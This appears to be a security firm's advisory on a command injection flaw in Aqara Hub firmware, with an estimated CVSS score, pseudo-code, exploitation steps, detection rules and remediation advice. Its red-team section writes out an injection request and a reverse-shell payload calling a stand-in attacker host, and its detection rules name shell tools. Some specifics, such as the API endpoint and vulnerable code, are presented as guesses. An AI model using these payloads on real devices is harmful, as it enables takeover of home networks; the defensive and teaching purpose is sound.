CVE-2025-65292

Executive Summary

CVE-2025-65292 is a critical command injection vulnerability affecting multiple Aqara Hub devices, including the Camera Hub G3 (firmware 4.1.9_0027), Hub M2 (firmware 4.3.6_0027), and Hub M3 (firmware 4.3.6_0025). The flaw allows an unauthenticated attacker to execute arbitrary commands with root privileges by injecting malicious payloads through domain name fields. This vulnerability is particularly dangerous as it can be exploited remotely without authentication, potentially leading to full device compromise, data exfiltration, and lateral movement within IoT networks. No official patch or public exploit code is currently available, but the risk remains high due to the widespread deployment of these hubs in smart home environments.

Supply Chain & Package Security

This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It affects proprietary firmware on Aqara IoT devices.

CVSS Breakdown & Threat Level

The CVSS score is currently 0.0 due to insufficient data, but based on the nature of the vulnerability, a realistic assessment would be:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – vulnerable component only.
• Confidentiality (C): High (H) – full device access.
• Integrity (I): High (H) – arbitrary command execution.
• Availability (A): High (H) – potential denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Estimated Score: 9.8 (Critical)

Deep Dive & Mechanics

The vulnerability resides in the domain name validation logic of Aqara Hub firmware. When the device processes domain names (e.g., for cloud connectivity or DNS resolution), it fails to sanitize user-supplied input. An attacker can inject shell metacharacters (e.g., ;, |, $()) into a domain name field, which is then passed to a system shell without proper escaping. This allows arbitrary command execution with root privileges.

Root Cause: The firmware uses a function like system() or popen() to resolve domain names, but does not validate or sanitize the input. For example, a domain name like example.com;reboot would execute the reboot command after resolving the domain.

Attack Vector: The attacker can exploit this via:

• Malicious DNS responses (if the hub queries attacker-controlled DNS).
• Direct injection through the hub’s web interface or API (if exposed).
• Man-in-the-middle attacks on the hub’s network traffic.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is:

Vulnerable (pseudo-code):

char domain[256];
snprintf(domain, sizeof(domain), "nslookup %s", user_input);
system(domain);

Patched (hypothetical):

char domain[256];
if (validate_domain(user_input)) {
    snprintf(domain, sizeof(domain), "nslookup %s", sanitize(user_input));
    system(domain);
} else {
    log_error("Invalid domain");
}

The patched version would include input validation (e.g., regex for valid domain characters) and use execve() instead of system() to avoid shell injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Aqara Hub with vulnerable firmware (e.g., Camera Hub G3 4.1.9_0027).
• Network access to the hub (local or remote if exposed).
• A controlled DNS server or ability to inject domain names.

Exploitation Steps:

1. Identify the hub’s IP address (e.g., via Shodan or local network scan).
2. Send a crafted domain name to the hub’s DNS resolution endpoint (e.g., via HTTP POST to /api/domain).
3. Inject payload: example.com;id > /tmp/out
4. Verify command execution by checking /tmp/out on the hub.

Example Payload (HTTP request):

POST /api/domain HTTP/1.1
Host: 192.168.1.100
Content-Type: application/json

{"domain": "example.com;id > /tmp/out"}

Reverse Shell Payload:

example.com;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

Blue Team

Detection:

• Monitor for unusual DNS queries containing shell metacharacters.
• Alert on processes spawned by the hub’s firmware (e.g., nslookup with unexpected arguments).
• Use network segmentation to isolate IoT devices.

Honeypot Setup:

• Deploy a fake Aqara Hub on a isolated VLAN.
• Log all incoming domain name requests.
• Analyze for injection patterns.

Indicators of Compromise (IOCs)

• Network:
  • DNS queries containing ;, |, $(), or backticks.
  • Outbound connections from hub to unknown IPs on high ports (e.g., 4444).
• File System:
  • Unexpected files in /tmp/ (e.g., /tmp/out).
  • Modified system binaries (e.g., /bin/sh replaced).
• Processes:
  • nslookup or ping with suspicious arguments.
  • Reverse shell processes (e.g., bash -i).

Detection Engineering

YARA Rule

rule Aqara_Hub_Command_Injection {
    meta:
        description = "Detects command injection attempts in Aqara Hub domain fields"
        author = "Valters IT"
        date = "2025-02-20"
        reference = "CVE-2025-65292"
    strings:
        $injection1 = /[;|`$()]/
        $injection2 = /bash -i/
        $injection3 = /nslookup.*[;|]/
    condition:
        any of ($injection*) and filesize < 10KB
}

Sigma Rule

title: Aqara Hub Command Injection Attempt
id: aqara-cmd-injection-001
status: experimental
description: Detects command injection in Aqara Hub domain name fields
author: Valters IT
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/nslookup'
        CommandLine|contains: 
            - ';'
            - '|'
            - '$('
            - '`'
    condition: selection
falsepositives:
    - Legitimate domain names with special characters (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 53 (msg:"Aqara Hub Command Injection via DNS"; content:"|05 65 78 61 6d 70 6c 65 03 63 6f 6d|"; content:"|3b 69 64|"; distance:0; within:10; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disconnect affected Aqara Hubs from the internet until a patch is available.
2. Block outbound DNS traffic from hubs to untrusted servers.
3. Implement network segmentation for IoT devices.

Long-term Fixes:

• Vendor must release a firmware update that sanitizes domain name input.
• Use execve() instead of system() to avoid shell interpretation.
• Apply input validation (e.g., allow only alphanumeric characters, dots, and hyphens).

Workarounds:

• Use a local DNS resolver that filters malicious queries.
• Monitor hub logs for unusual activity.

Valters IT
Securing IoT, One Vulnerability at a Time